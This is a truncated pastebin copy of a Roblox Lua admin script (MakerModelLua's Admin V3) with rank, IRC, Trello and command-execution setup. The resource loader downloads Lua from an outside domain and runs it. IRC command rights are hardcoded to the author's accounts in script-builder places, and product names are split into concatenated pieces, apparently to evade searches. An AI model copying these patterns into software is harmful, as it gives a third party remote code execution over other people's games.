· 6 years ago · Nov 18, 2019, 07:30 PM
1--[[
2Hi! This is LuaModelMaker's Admin V3 by MakerModelLua.
3If you want to know what commands do just go into your game and say ;cmds for a list of
4commands, what they do, examples, rank needed, and more!
5Or, go to http://www.classy-studios.com/V3/Commands.php
6If you have an Apple device, download the app here: http://appsto.re/us/37_qgb.i
7
8
9TUTORIAL ON HOW TO USE: https://www.youtube.com/watch?v=IieEFJPrjN4&list=PLSO-IUKJXZvjJKLTomz7NnuJ6syW9JWH1
10
11--->> DO NOT EDIT THESE SETTINGS <<---
12Well you can but it's a waste of your time. The settings are located in workspace
13in a folder called "MakerModelLua's Settings". You can also use this plugin:
14
15http://www.roblox.com/MakerModelLuas-Admin-Plugin-item?id=242781551
16
17USE REMOTE ADMIN:
18http://www.classy-studios.com/Login/
19Mobile: http://appsto.re/us/hEn7fb.i
20
21
22
23...also... this is open source! No stupid shady module scripts, which means it works in studio!
24
25]]
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49-- I REPEAT DON'T EDIT. YOU MIGHT BREAK SOMETHING --
50
51
52local Settings = {
53 Ranks = {
54 ["Owner"] = {};
55 ["Admin"] = {};
56 ["Member"] = {};
57 ["Banned"] = {};
58 ["Crashed"] = {};
59 ["Muted"] = {};
60 };
61
62 Prefix = ";";
63 Bet = " ";
64 MinimumAge = 0;
65 ServerLocked = false;
66 ColorScheme = "White";
67 TransparencyScheme = 50;
68 Fun = true;
69 EnableAdminMenu = true;
70 EnableTaskBar = true;
71 FreeAdmin = true;
72 Font = "Arial";
73
74 DisableAbuse = false;
75 AbuseList = {"kill", "punish", "respawn", "blind", "flash", "control", "loopfling", "explode", "change", "decal", "sink", "damage"};
76 AbusableGear = {};
77
78 LinkedAccount = "";
79 DataKey = "";
80
81 ExecuteNotificationSound = 0; --177578949
82 EnableSounds = true;
83
84 VIPMemberID = 0;
85 VIPAdminID = 0;
86
87 GroupID = 0;
88 GroupBanRank = 0;
89 GroupMemberRank = 0;
90 GroupAdminRank = 0;
91 GroupOwnerRank = 0;
92 GroupRankBan = 0;
93 BannedGroupIDs = {};
94
95 IRCServer = "";
96 IRCChannel = "";
97 IRCCommandExecuters = {};
98
99 TrelloToken = ""
100}
101
102local Colors = {
103 ["WHITE"] = Color3.new(1,1,1);
104 ["BLACK"] = Color3.new(0,0,0);
105 ["GRAY"] = Color3.new(0.5,0.5,0.5);
106 ["RED"] = Color3.new(1,0,0);
107 ["GREEN"] = Color3.new(0,1,0);
108 ["BLUE"] = Color3.new(0,0,1);
109 ["YELLOW"] = Color3.new(1,1,0);
110 ["PINK"] = Color3.new(1,0,1);
111 ["MAGENTA"] = Color3.new(1,0,1);
112 ["CYAN"] = BrickColor.new("Cyan").Color;
113 ["TEAL"] = BrickColor.new("Teal").Color;
114 ["BROWN"] = Color3.new(0.55,0.25,0.075);
115 ["PURPLE"] = Color3.new(0.5,0,0.5);
116 ["RANDOM"] = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255);
117}
118
119local Server = {
120 Workspace = game:GetService("Workspace");
121 Players = game:GetService("Players");
122 Lighting = game:GetService("Lighting");
123 MPS = game:GetService("MarketplaceService");
124 TS = game:GetService("TeleportService");
125 HS = game:GetService("HttpService");
126 RS = game:GetService("RunService");
127 PS = game:GetService("PointsService");
128 TestS = game:GetService("TestService");
129 IS = game:GetService("InsertService");
130 Teams = game:GetService("Teams");
131 Data = game:GetService("DataStoreService");
132 GDS = game:GetService("DataStoreService"):GetGlobalDataStore();
133 NS = {Port = 0}; -- you'll be glad if you're in studio and networkserver isn't mentioned
134 Storage = game:GetService("ServerStorage");
135 RS = game:GetService("ReplicatedStorage");
136 AS = game:GetService("AssetService");
137}
138
139local Icons = {
140 ["Message"] = 7724351;
141 ["Error"] = 94011556;
142 ["Information"] = 144175130;
143 ["Check"] = 132769976;
144 ["Search"] = 61994930;
145 ["Time"] = 136391033;
146 ["Notice"] = 156507320;
147 ["Sound"] = 164682936;
148 ["Log"] = 70650545;
149 ["Question"] = 41363872;
150 ["Output"] = 11481605;
151 ["Admin"] = 302470270;
152 ["Lock"] = 11341626;
153 ["Settings"] = 131064748;
154 ["Map"] = 257119661;
155 ["Plugin"] = 257097414;
156}
157
158local IRC = {
159 Codes = {
160 ["001"] = "RPL_WELCOME",
161 ["002"] = "RPL_YOURHOST",
162 ["003"] = "RPL_CREATED",
163 ["004"] = "RPL_MYINFO",
164 ["005"] = "RPL_ISUPPORT",
165 ["250"] = "RPL_STATSCONN",
166 ["251"] = "RPL_LUSERCLIENT",
167 ["252"] = "RPL_LUSEROP",
168 ["254"] = "RPL_LUSERCHANNELS",
169 ["255"] = "RPL_LUSERME",
170 ["265"] = "RPL_LOCALUSERS",
171 ["266"] = "RPL_GLOBALUSERS",
172 ["352"] = "RPL_WHOREPLY",
173 ["371"] = "RPL_INFO",
174 ["372"] = "RPL_MOTD",
175 ["374"] = "RPL_ENDINFO",
176 ["375"] = "RPL_MOTDSTART",
177 ["376"] = "RPL_ENDOFMOTD",
178 ["422"] = "ERR_NOMOTD",
179 },
180 Ignore = {
181 ["004"] = true,
182 ["005"] = true,
183 };
184 Users = {};
185 Logs = {};
186 Chats = {};
187 Forms = {};
188 MessageAdded = Instance.new("BindableEvent");
189
190 Servers = {
191 ["esper.net"] = {
192 BaseUrl = "http://webchat.esper.net/";
193 DynamicUrl = "";
194 };
195 ["quakenet.org"] = {
196 BaseUrl = "http://webchat.quakenet.org/";
197 DynamicUrl = "dynamic/leibniz",
198 };
199 ["swiftirc.net"] = {
200 BaseUrl = "http://qwebirc.swiftirc.net/";
201 DynamicUrl = "",
202 };
203 };
204 NickName = "rbxMMLV3_"..math.random(1,100000);
205
206 SessionCounter = 0;
207 Connected = false;
208 Stop = false;
209 SessionID = "";
210}
211
212local RankHUD = {
213 ["Muted"] = 202180094;
214 ["Non-Admin"] = 202180121;
215 ["Member"] = 202180052;
216 ["Admin"] = 202180015;
217 ["Owner"] = 202179988;
218}
219
220local TextConverter = {
221 LetterSounds = {
222 ["a"] = {223757826, nil}; -- 203343899
223 ["b"] = {223533700, 0.2}; -- 203344029
224 ["c"] = {223533711, nil}; -- 203343994
225 ["d"] = {223757910, nil}; -- 203398237
226 ["e"] = {223758026, nil}; -- 203398295
227 ["f"] = {223777655, nil}; -- 203398347
228 ["g"] = {223777738, nil}; -- 203398372
229 ["h"] = {223777757, nil}; -- 203398397
230 ["i"] = {223777807, nil}; -- 203398422
231 ["j"] = {223782888, nil}; -- 203398450
232 ["k"] = {223533711, nil}; -- 203343994
233 ["l"] = {223782961, 0.4}; -- 203398541
234 ["m"] = {223782992, nil}; -- 203398578
235 ["n"] = {223783063, nil}; -- 203398599
236 ["o"] = {223783184, nil}; -- 203398611
237 ["p"] = {223783235, nil}; -- 203398727
238 ["q"] = {223783260, nil}; -- 203398755
239 ["r"] = {223783305, 0.2}; -- 203398792
240 ["s"] = {223783377, nil}; -- 203398806
241 ["t"] = {223783446, nil}; -- 203398850
242 ["u"] = {223783512, nil}; -- 203398872
243 ["v"] = {223783654, nil}; -- 203398965
244 ["w"] = {223783697, nil}; -- 203398984
245 ["x"] = {223783796, nil}; -- 203399008
246 ["y"] = {223783853, nil}; -- 203399043
247 ["z"] = {223783893, nil}; -- 203399096
248
249 ["ch"] = {223784367, 0.3}; -- 203592149
250 ["th"] = {223788235, 0.3}; -- 203399215
251 ["sh"] = {223784505, 0.2}; -- 203399566
252 ["wh"] = {223784555, 0.3}; -- 203622828
253 ["oo"] = {223784456, 0.3}; -- 203399743
254 ["ing"] = {223784393, 0.3}; -- 203402836
255 };
256
257 LongVowels = {
258 ["a"] = {223533687, nil}; -- 203343932
259 ["e"] = {223777620, nil}; -- 203398314
260 ["i"] = {223777855, nil}; -- 203398440
261 ["o"] = {223783212, nil}; -- 203398619
262 ["u"] = {223783572, nil}; -- 203398897
263 };
264
265 Pronounce = {
266 ["0"] = "zero";
267 ["1"] = "wun";
268 ["2"] = "too";
269 ["3"] = "three";
270 ["4"] = "four";
271 ["5"] = "five";
272 ["6"] = "six";
273 ["7"] = "seven";
274 ["8"] = "eyt";
275 ["9"] = "nine";
276 ["one"] = "wun";
277 ["two"] = "too";
278 ["eight"] = "eyt";
279 ["eigh"] = "ey";
280 ["gh"] = "h";
281 ["kn"] = "n";
282 ["come"] = "cu".."m";
283 ["bye"] = "bi";
284 ["#"] = "hashtag";
285 ["@"] = "at";
286 ["&"] = "and";
287 ["*"] = "astrict";
288 ["mn"] = "m";
289 ["kn"] = "n";
290 ["ies"] = "ees";
291 };
292
293 NonEnglishRules = {
294 ["to"] = "too";
295 ["you"] = "yoo";
296 ["we"] = "wee";
297 ["are"] = "erh";
298 ["your"] = "yoor";
299 ["you're"] = "yoor";
300 ["youre"] = "yoor";
301 ["pizza"] = "peetzoh";
302 ["ok"] = "okay";
303 ["have"] = "hav";
304 ["my"] = "mi";
305 ["me"] = "mee";
306 ["u"] = "yoo";
307 ["r"] = "erh";
308 ["move"] = "moov";
309 ["dove"] = "duv";
310 ["debris"] = "debree";
311 ["do"] = "doo";
312 }
313}
314
315local HTMLDecode = {
316 ["35"] = "#";
317 ["36"] = "$";
318 ["37"] = "%%";
319 ["38"] = "*";
320 ["39"] = "'";
321 ["58"] = ":";
322 ["59"] = ";";
323 ["60"] = "<";
324 ["62"] = ">";
325}
326
327
328local Assets = {
329 Packages = {
330 [27112438] = {27112025,27112039,27112052,27112056,27112068};
331 [139610216] = {139607570,139607625,139607673,139607718,139607770,139610147};
332 [77518833] = {77518564,77518616,77518654,77518696,77518737};
333 [32336368] = {32336059,32336117,32336182,32336243,32336306};
334 [59772975] = {59772137,59772181,59772219,59772279,59772667,59721671};
335 [54116460] = {54116290,54116338,54116373,54116394,54116432};
336 [39977366] = {39976703,39976829,39976927,39977192,39977295};
337 [32357766] = {32357663,32357631,32357619,32357584,32357558};
338 [27123973] = {27121265,27121306,27121353,27121393,27121432};
339 [55717536] = {55717271,55717330,55717388,55717434,55717491};
340 [28279963] = {28279160,28279217,28279859,28279894,28279938};
341 [27403592] = {27402580,27402546,27402641,27402714,27402742};
342 [86499905] = {86499666,86499698,86499716,86499753,86499793,86498113,62724852,86487766};
343 [86500185] = {86500054,86500078,86500036,86500008,86500064,86487700,86498048,62234425};
344 [48474394] = {48474356,48474294};
345 [187996626] = {187996057,187996098,187996167,187996258,187996321,187996409,187996534};
346 [223826660] = {223824598,223825145,223825310,223825496,223825618,223825761,223825893,223800426};
347 [188835832] = {188835233,188835327,188835428,188835511,188835586,188835673,188644771};
348 [139581948] = {139581117,139581174,139581230,139581292,139581375,139581559,139581668,139581823};
349 [33378577] = {33378366,33378438,33378484,33378522,33378540};
350 [101744863] = {101742885,101743631,101716880,101744248,101744215,101744371};
351 [136793141] = {136792342,136792633,136792698,136792747,136792820,136795159,136795130};
352 [91658555] = {91657680,91657749,91657884,91657986,91658092,91658290,90249118};
353 [41851073] = {41850825,41850868,41850915,41851009,41850959}
354 };
355 AssetTypes = {
356 [0] = "Product";
357 [1] = "Image";
358 [2] = "T-Shirt";
359 [3] = "Audio";
360 [4] = "Mesh";
361 [5] = "Lua";
362 [6] = "HTML";
363 [7] = "Text";
364 [8] = "Hat";
365 [9] = "Place";
366 [10] = "Model";
367 [11] = "Shirt";
368 [12] = "Pants";
369 [13] = "Decal";
370 [16] = "Avatar";
371 [17] = "Head";
372 [18] = "Face";
373 [19] = "Gear";
374 [21] = "Badge";
375 [22] = "Group Emblem";
376 [24] = "Animation";
377 [25] = "Arms";
378 [26] = "Legs";
379 [27] = "Torso";
380 [28] = "Right Arm";
381 [29] = "Left Arm";
382 [30] = "Left Leg";
383 [31] = "Right Leg";
384 [32] = "Package";
385 [33] = "YouTube Video";
386 [34] = "Game Pass";
387 [38] = "Plugin";
388 [39] = "SolidModel";
389 [40] = "MeshPart";
390 [41] = "Hair Accessory";
391 [42] = "Face Accessory";
392 [43] = "Neck Accessory";
393 [44] = "Shoulder Accessory";
394 [45] = "Front Accessory";
395 [46] = "Back Accessory";
396 };
397 AccessoryTypes = {
398 ["all"] = 19;
399 ["hats"] = 9;
400 ["hair"] = 20;
401 ["face"] = 21;
402 ["neck"] = 22;
403 ["shoulder"] = 23;
404 ["front"] = 24;
405 ["back"] = 25;
406 ["waist"] = 26;
407 };
408}
409
410local CharacterCache = {
411 {"MakerModelLua", 38837082};
412 {"LuaModelMaker", 20920633};
413 {"builderman", 156};
414 {"Shedletsky", 261};
415 {"Telamon", 13645};
416 {"ROBLOX", 1};
417}
418
419local FaceCovert = {
420 Left = "xpos";
421 Right = "xneg";
422 Front = "zpos";
423 Back = "zneg";
424 Top = "ypos";
425 Bottom = "yneg";
426}
427
428local Meshes = {
429 ["crown"] = {1, 1078075};
430 ["king"] = {1, 11419761};
431 ["teapot"] = {0.03, 1029523};
432 ["apple"] = {2.5, 16190555};
433 ["potato"] = {1, 25268275};
434 ["panda"] = {0.5, 20709221};
435 ["dominus"] = {0.5, 21057410};
436 ["fedora"] = {0.75, 13640868};
437 ["noob"] = {1, 20929341};
438 ["knife"] = {0.3, 121944778};
439 ["book"] = {0.3, 1136139};
440}
441
442local NotifySounds = {
443 ["Hover"] = 223134269;
444 ["Select"] = 292141227;
445}
446
447local Trello = {
448 TrelloInfoCard = "x1rUtwEj";
449 MainBoard = {};
450 RequiredLists = {};
451 RankChecklistCache = {};
452 ToggleChecklist = nil;
453 CommandID = nil;
454 LastCommandDT = 0;
455 AdminBoardID = "577ea1b21cb7975666524f26";
456 RemoteAdminChecklist = "5835cfd4eed73dc5f9cdcfbf";
457 RemoteDataCard = "dLtMo1en"
458}
459
460local ScriptBuilders = {
461 [260897989] = "MML's";
462 [21053279] = "Anti's pub";
463 [21053219] = "Anti's pri";
464 [20279777] = "Void's 1";
465 [437965235] = "Void's 2";
466 [227015991] = "Vox's";
467 [210101277] = "Master's";
468 [531937877] = "Bleu pigs";
469 [519251450] = "Game's";
470}
471
472-- Ok, if you're here, you must be a scripter. Fine. I guess you can look ;)
473-- Why else would I NOT have put it in a module?!?!?
474
475local ChatColors = {"Bright red", "Bright blue", "Earth green", "Bright violet", "Bright orange", "Bright yellow", "Light reddish violet", "Brick yellow"}
476
477local SoundList,GlobalSoundList = {},{}
478local ScriptCache,MarketCache,PackageCache = {},{},Assets.Packages
479local TempChatLogs = {}
480local ToolRegions = {Server.Lighting, Server.RS, Server.Storage}
481local NoSpeak = false
482
483local SOUND,MARKET,RANK,STRING,GUI = {},{},{},{},{}
484local CORE,REMOTE = {Version = script:FindFirstChild("Version"), Domain = "https://www.classy-studios.com", UnsecureDomain = "http://www.classy-studios.com"},{RemoteAdmin = {Command, ServerCommand, ServerPort, TimeStamp}, RemoteConnection = false}
485
486local ChatLogs,CommandLogs = {},{}
487local ClientInfo,LoopKills,List,Flings,Beeps = {},{},{},{},{}
488local PriChat = {Chats = {}, Chatted = Instance.new("BindableEvent")}
489local Dispose,Jails,PermCommandBars = {},{},{}
490local Waypoints = {["Center"] = Vector3.new(0,0,0)}
491local Objects = {}
492local Sound = nil
493local ModLighting = false
494local DataReady = true
495local RemoteAbuseGear = {}
496
497local GameOwner = "[ Client ]"
498local PlaceName = "Unknown"
499local PlaceInfo = {}
500local IsStudio = false
501local IsSB = false
502local Date = nil
503local Fonts = {}
504local PendingRequests = {}
505local F3X = script:FindFirstChild("F3X Tools")
506local Plugins = game:FindFirstChild("Ma".."kerModelL".."ua's Admin Plugins", true)
507local RemoteData = {RemoteAdminWait = 5, ChatLogWait = 20, TrelloWait = 10}
508local KeyBinds = {}
509local Crowns = {}
510local LastKeys = {}
511local Cars = {}
512local StringReplacements = {}
513local SoundInfo = {["ID"] = 0, ["Name"] = "None", ["Creator"] = "None"}
514local NoBet = {"/", "-", "(", ")", ""}
515local ShouldFilter = true
516
517local CrownStorage = script:FindFirstChild("CrownStorage")
518if not CrownStorage then CrownStorage = Instance.new("Model", script) CrownStorage.Name = "CrownStorage" end
519
520-- import old settings just in case --
521local OldSettings = script.Parent:FindFirstChild("LuaModelMaker's Admin Settings") or game:FindFirstChild("LuaModelMaker's Admin Settings", true)
522if OldSettings then
523 OldSettings = require(OldSettings)
524
525 for _,ValName in pairs({"Ranks", "Prefix", "Bet", "ServerLocked", "DisableAbuse", "AbuseList", "AbusableGear", "LinkedAccount", "DataKey", "VIPMemberID", "VIPAdminID", "GroupID", "GroupMemberRank", "GroupAdminRank", "GroupOwnerRank"}) do
526 Settings[ValName] = OldSettings[ValName]
527 end
528 Settings.GroupBanRank = OldSettings.RankBan
529 Settings.Fun = OldSettings.FUN
530end
531
532if F3X then
533 F3X = F3X:Clone()
534 F3X.Handle.Anchored = false
535 script:FindFirstChild("F3X Tools"):Destroy()
536end
537
538wait(0.1)
539
540local SettingsValues = Server.Storage:FindFirstChild("MakerModelLua's Admin Settings") or game:FindFirstChild("MakerModelLua's Admin Settings", true)
541-- tries to defualt to server storage, just in case an exploiter makes their own settings.
542
543if SettingsValues then
544 SettingsValues.Parent = Server.Storage -- fokin exploiters succ my cocc
545 if SettingsValues:IsA("Folder") or SettingsValues:IsA("Configuration") then
546 for _,Value in pairs(SettingsValues:GetChildren()) do
547 if Settings[Value.Name] ~= nil then
548 if Value:IsA("Folder") or Value:IsA("Configuration") then -- ranks
549 for _,NewValue in pairs(Value:GetChildren()) do
550 if ypcall(function() return NewValue.Value end) then
551 if Settings[Value.Name][NewValue.Name] then
552 local Val = NewValue.Value
553 if type(Settings[Value.Name][NewValue.Name]) == "table" then
554 Val = {}
555 for Word in string.gmatch(NewValue.Value, "[%w_]+") do
556 table.insert(Val, Word)
557 end
558 end
559 Settings[Value.Name][NewValue.Name] = Val
560 end
561 end
562 end
563 else
564 if Settings[Value.Name] ~= nil then
565 local Val = Value.Value
566 if type(Settings[Value.Name]) == "table" then
567 Val = {}
568 for Word in string.gmatch(Value.Value, "%w+") do
569 table.insert(Val, Word)
570 end
571 end
572 Settings[Value.Name] = Val
573 end
574 end
575 end
576 end
577 end
578end
579
580if Settings.LinkedAccount == "Admin" and game.CreatorId ~= 38837082 then
581 Settings.LinkedAccount = ""
582elseif game.PlaceId == 199055528 or game.PlaceId == 329866187 then
583 Settings.LinkedAccount = "Admin"
584end
585
586local getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print = getfenv,setfenv,table,math,coroutine,pcall,ypcall,xpcall,string,assert,type,unpack,loadstring,tostring,tonumber,print -- localize variables so executables don't troll the script
587local Workspace,workspace,Instance,require,script = Workspace,workspace,Instance,require,script
588
589wait(1)
590
591local ExploitModule = game:FindFirstChild("MakerMode".."lLua's Admin Anti-Exploit Module", true)
592
593if Server.Players.LocalPlayer then print("MML Admin Compromised: Running in studio") IsStudio = true end
594
595if not IsStudio then
596 Server.NS = game:GetService("NetworkServer")
597 script.Name = "Maker".."Mo".."delLua's Admin"
598end
599
600if game.PlaceId > 0 then
601 PlaceInfo = Server.MPS:GetProductInfo(game.PlaceId)
602 PlaceName = PlaceInfo.Name
603end
604
605local function GetGameOwner()
606 if PlaceInfo.Creator.CreatorType == "Group" then
607 GameOwner = game:GetService("GroupService"):GetGroupInfoAsync(PlaceInfo.Creator.CreatorTargetId).Owner.Name
608 print("MML's Admin: Found group owner for game: "..GameOwner)
609 elseif PlaceInfo.Creator.CreatorType == "User" then
610 GameOwner = PlaceInfo.Creator.Name
611 print("MML's Admin: Found game owner: "..GameOwner)
612 else
613 ypcall(function() GameOwner = Server.Players:GetNameFromUserIdAsync(game.CreatorId) print("MML's Admin: Found game owner: "..GameOwner) end)
614 end
615end
616
617if string.byte(string.sub(PlaceName,1,1)) == 226 then
618 PlaceName = string.sub(PlaceName,4,#PlaceName)
619end
620for i = 1,5 do
621 if GameOwner == "[ Client ]" then
622 print("MML's Admin: Attempting to establish owner's name #"..i)
623 GetGameOwner()
624 wait(1)
625 end
626end
627
628if ScriptBuilders[PlaceID] or NLS then
629 IsSB = true
630end
631
632if IsSB then
633 ShouldFilter = false
634 Settings.IRCServer = "swiftirc.net";
635 Settings.IRCChannel = "#PkamaraSB";
636 Settings.IRCCommandExecuters = {"MakerModelLua", "MakerModelLuaIRC"}
637 if Settings.TrelloToken == "" then
638 Settings.LinkedAccount = "ScriptBuilder"
639 end
640 if Settings.DataKey == "" then coroutine.wrap(function()
641 repeat wait(1) until Server.Storage:FindFirstChild("MML DataKey")
642 local Key = Server.Storage:FindFirstChild("MML DataKey")
643 print("Found key: "..Key.Value)
644 Settings.DataKey = Key.Value
645 Key:Destroy()
646 end)() end
647end
648local PlaceInfoFormat = "{PLACE: "..string.sub(PlaceName,1,25).."("..game.PlaceId..") | PORT: "..Server.NS.Port.."}"
649table.insert(Settings.Ranks["Owner"], GameOwner)
650
651for _,Font in pairs(Enum.Font:GetEnumItems()) do
652 Fonts[Font.Name] = Font
653end
654
655local LogClient = script:FindFirstChild("AddClientInfo")
656if LogClient then LogClient:Destroy() end
657LogClient = Instance.new("RemoteFunction", script) LogClient.Name = "AddClientInfo"
658LogClient.OnServerInvoke = function(Player, Info)
659 if Info then
660 for Key,Data in pairs(Info) do
661 ClientInfo[Player.Name][Key] = Data
662 end
663 end
664end
665
666local function MakeFunction(Type, Name)
667 local Func = script:FindFirstChild(Name)
668 if Func then Func:Destroy() end
669 Func = Instance.new(Type, script) Func.Name = Name
670
671 getfenv()[Name] = Func
672 return Func
673end
674
675MakeFunction("BindableFunction", "ExecuteCommand")
676MakeFunction("RemoteFunction", "ExecuteCommandClient")
677MakeFunction("BindableFunction", "ExecuteCode")
678
679MakeFunction("RemoteFunction", "IsAdmin")
680MakeFunction("RemoteFunction", "AddExploit")
681MakeFunction("BindableFunction", "AddExploitServer")
682MakeFunction("RemoteFunction", "KickClient")
683MakeFunction("RemoteFunction", "ConvertTextToSound")
684
685MakeFunction("RemoteFunction", "KeyPressed")
686MakeFunction("RemoteFunction", "InputKey")
687
688MakeFunction("RemoteFunction", "RankPlayerLocal")
689MakeFunction("BindableFunction", "RankPlayerServer")
690
691--[[
692if NLS then
693 local Value = script:FindFirstChild("Override")
694 LogClient.Parent = game
695 if not Value then
696 local Value = Instance.new("BoolValue", script) Value.Name = "Override"
697 local CloneScript = script:Clone()
698 CloneScript.Disabled = true
699 CloneScript.Parent = game:FindFirstChild("ServerScriptService")
700 CloneScript.Disabled = false
701 CloneScript.Parent = nil
702
703 script:Destroy() script.Disabled = true
704 end
705end
706]]
707
708if not CORE.Version then CORE.Version = {Value = "3.Unknown"} end
709
710IRC.NickName = "rbxMMLV3_"..game.PlaceId.."_"..Server.NS.Port
711
712-- Core functions --
713
714function CORE:FixSettings()
715 for _,Bet in pairs(NoBet) do
716 if Settings.Bet == Bet then
717 Settings.Bet = " "
718 break
719 end
720 end
721 CORE:ChangeBet(Settings.Bet)
722
723 if Settings.VIPMemberID == 0 then Settings.VIPMemberID = 1 end
724 if Settings.VIPAdminID == 0 then Settings.VIPAdminID = 1 end
725
726 if Settings.TransparencyScheme > 90 then Settings.TransparencyScheme = 90 end
727 if Settings.TransparencyScheme < 10 then Settings.TransparencyScheme = 10 end
728 Settings.TransparencyScheme = Settings.TransparencyScheme/100
729
730 if not Fonts[Settings.Font] then
731 Settings.Font = "Arial"
732 end
733end
734
735function CORE:NilPlayer(Player)
736 if Player == nil or type(Player) == "table" then return true else return false end
737end
738
739function CORE:ExecuteResource(ResourceName, Parent, Data)
740 local ReturnScript = nil
741 local Executed = true
742 if script:FindFirstChild("Resources") then
743 local RawResource = script.Resources:FindFirstChild(ResourceName)
744 if RawResource then
745 local Resource = RawResource:Clone()
746 Resource.Disabled = true
747 Resource.Parent = Parent
748 if Data then
749 for Key,Value in pairs(Data) do
750 if Resource[Key] then
751 Resource[Key].Value = Value
752 end
753 end
754 end
755 wait()
756 Resource.Disabled = false
757 ReturnScript = Resource
758 else
759 Executed = false
760 end
761 else
762 Executed = false
763 end
764 if Executed == false then
765 if not Data then Data = {} end
766 local Source = ScriptCache[ResourceName]
767
768 if not Source then
769 Source = REMOTE:GetURL(CORE.Domain.."/Lua/Resources/"..ResourceName..".lua")
770 if Source then
771 ScriptCache[ResourceName] = Source
772 end
773 end
774
775 if Data and Source then
776 for Key,Value in pairs(Data) do
777 Source = string.gsub(Source, "@@"..Key.."@@", tostring(Value))
778 end
779 end
780
781 if Source then
782 if NLS then
783 ReturnScript = NLS(Source, Parent)
784 elseif createLocalScriptWithSource then
785 ReturnScript = createLocalScriptWithSource(Source)
786 ReturnScript.Parent = Parent
787 end
788 end
789 end
790 return ReturnScript
791end
792
793function CORE:CreateRemotePropertyReader(Obj, Override)
794 if Server.Workspace.FilteringEnabled == true or Override then
795 local Reader = Instance.new("RemoteFunction", Obj)
796 Reader.Name = "RemotePropertyReader"
797 CORE:ExecuteResource("RemotePropertyReader", Reader)
798 return Reader
799 else
800 return Obj
801 end
802end
803
804function CORE:ReadProperty(Reader, Player, Property)
805 if Reader:IsA("RemoteFunction") then
806 return Reader:InvokeClient(Player, Property)
807 else
808 return Reader[Property]
809 end
810end
811
812function CORE:WriteProperty(Reader, Player, Property, Value)
813 if Reader:IsA("RemoteFunction") then
814 return Reader:InvokeClient(Player, Property, Value)
815 else
816 return Reader[Property]
817 end
818end
819
820
821function CORE:CreateRemoteEvent(Obj, EventName)
822 local Event = Instance.new("RemoteEvent", Obj)
823 Event.Name = "RemoteEvent_"..EventName
824 CORE:ExecuteResource("RemoteEventHandler", Event, {["EventName"] = EventName})
825 return Event
826end
827
828function CORE:HandleEvent(Obj, EventName, Func, NewThread)
829 local function Handle()
830 if Server.Workspace.FilteringEnabled == true then
831 local Event = CORE:CreateRemoteEvent(Obj, EventName)
832 return Event.OnServerEvent:connect(function(Player, ...)
833 Func(...)
834 end)
835 else
836 return Obj[EventName]:connect(Func)
837 end
838 end
839 if NewThread then
840 Spawn(Handle)
841 else
842 Handle()
843 end
844end
845
846function CORE:HandleError(Error, Speaker)
847 local Return = ""
848 if not Error or Error == "" then
849 Return = "Unknown Error"
850 else
851 Return = "Error: "..(string.match(Error, '"*".:(.+)') or "Unknown line: "..Error)
852 end
853 if Speaker then
854 GUI:SendMessage(Speaker, "Error ", "RED "..Return, "Error")
855 end
856 return Return
857end
858
859local function ExecuteSafe(Source, Speaker) -- no CORE
860 local Script, Error = loadstring(Source)
861 if Error then
862 return false, CORE:HandleError(Error, Speaker)
863 else
864 getfenv(Script).SOUND,getfenv(Script).MARKET,getfenv(Script).RANK,getfenv(Script).STRING,getfenv(Script).GUI,getfenv(Script).CORE,getfenv(Script).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
865 getfenv(Script).Server, getfenv(Script).script = Server,script
866 if Speaker then
867 getfenv(Script).print = function(...)
868 GUI:SendMessage(Speaker, "Print Output", STRING:UnpackArgs(...), "Output")
869 end
870 getfenv(Script).print_array = function(List)
871 if type(List) == "table" then
872 GUI:ListGui(Speaker, "Listed Table", List, "Output")
873 end
874 end
875 end
876
877 local Suc, Error = ypcall(coroutine.wrap(Script))
878
879 if not Suc then
880 Error = CORE:HandleError(Error, Speaker)
881 end
882
883 return Suc,Error
884 end
885end
886
887function CORE:GetTime(Regular, FullDate)
888 if Regular == nil then Regular = true end
889 local Meridiem = ""
890 if Regular == true then Meridiem = " AM" end
891 local SecondsOfToday = math.fmod(os.time(), 60*60*24)
892 local Hour = math.floor(SecondsOfToday / (60*60))
893 local Minute = math.floor(SecondsOfToday/60 - Hour*60)
894 local Second = math.floor(math.fmod(SecondsOfToday, 60))
895 if Hour > 12 and Regular == true then
896 Hour = Hour - 12
897 Meridiem = " PM"
898 end
899 Hour,Minute,Second = tostring(Hour),tostring(Minute),tostring(Second)
900 if #Hour <= 1 then Hour = "0"..Hour end
901 if #Minute <= 1 then Minute = "0"..Minute end
902 if #Second <= 1 then Second = "0"..Second end
903 local Return = Hour..":"..Minute..":"..Second..Meridiem
904 if FullDate == true and Date then Return = Date.." "..Return end
905 return Return
906end
907
908function CORE:RemoveAdmin(Speaker)
909 local Answer = true -- false
910 if not CORE:NilPlayer(Speaker) then
911 Answer = GUI:PromptMessageWithButtons(Speaker, "Remove M".."akerModelLua's Admin?", "Would you like to remove Ma".."kerModel".."L".."ua's Admin? After removing the admin, no one is admin and cannot be re-inserted until the server restarts. Continue?", "Question", {"Yes", "No"})
912 end
913 if Answer == "Yes" or CORE:NilPlayer(Speaker) then
914 if not CORE:NilPlayer(Speaker) then SOUND:PlayNotification(Speaker, 177835465, 1) wait(0.5) end
915 for _,Player in pairs(Server.Players:GetPlayers()) do if Player:FindFirstChild("PlayerGui") then
916 for _,Item in pairs(Player:GetChildren()) do
917 if Item.Name == "SendChat" or Item.Name == "DetachChatMM".."L" then
918 Item:Destroy()
919 end
920 end
921 for _,GUI in pairs(Player.PlayerGui:GetChildren()) do
922 if GUI.Name == "M".."ak".."erModelLua's Admin Form" or GUI.Name == "M".."ak".."erM".."odelLua's Admin Form Sound" or GUI.Name == "M".."a".."k".."erMo".."delLua's TaskBar" or GUI.Name == "M".."a".."k".."e".."r".."m".."ode".."lLu".."a's HUD Gui" then
923 GUI:Destroy()
924 end
925 end
926 end end
927 for _,Car in pairs(Cars) do
928 Car:Destroy()
929 end
930 CORE:FixLighting()
931 while wait() do
932 if script:FindFirstChild("Override") then script.Override.Value = true end
933 Settings,CORE,IRC = nil,{},{}
934 if Sound then Sound:Stop() end
935 if ExploitModule then ExploitModule.Disabled = true ExploitModule:Destroy() end
936 script:ClearAllChildren() script:Destroy() script.Disabled = true
937 end
938 end
939end
940
941function CORE:MakeBase()
942 for _,Get in pairs(Workspace:GetChildren()) do
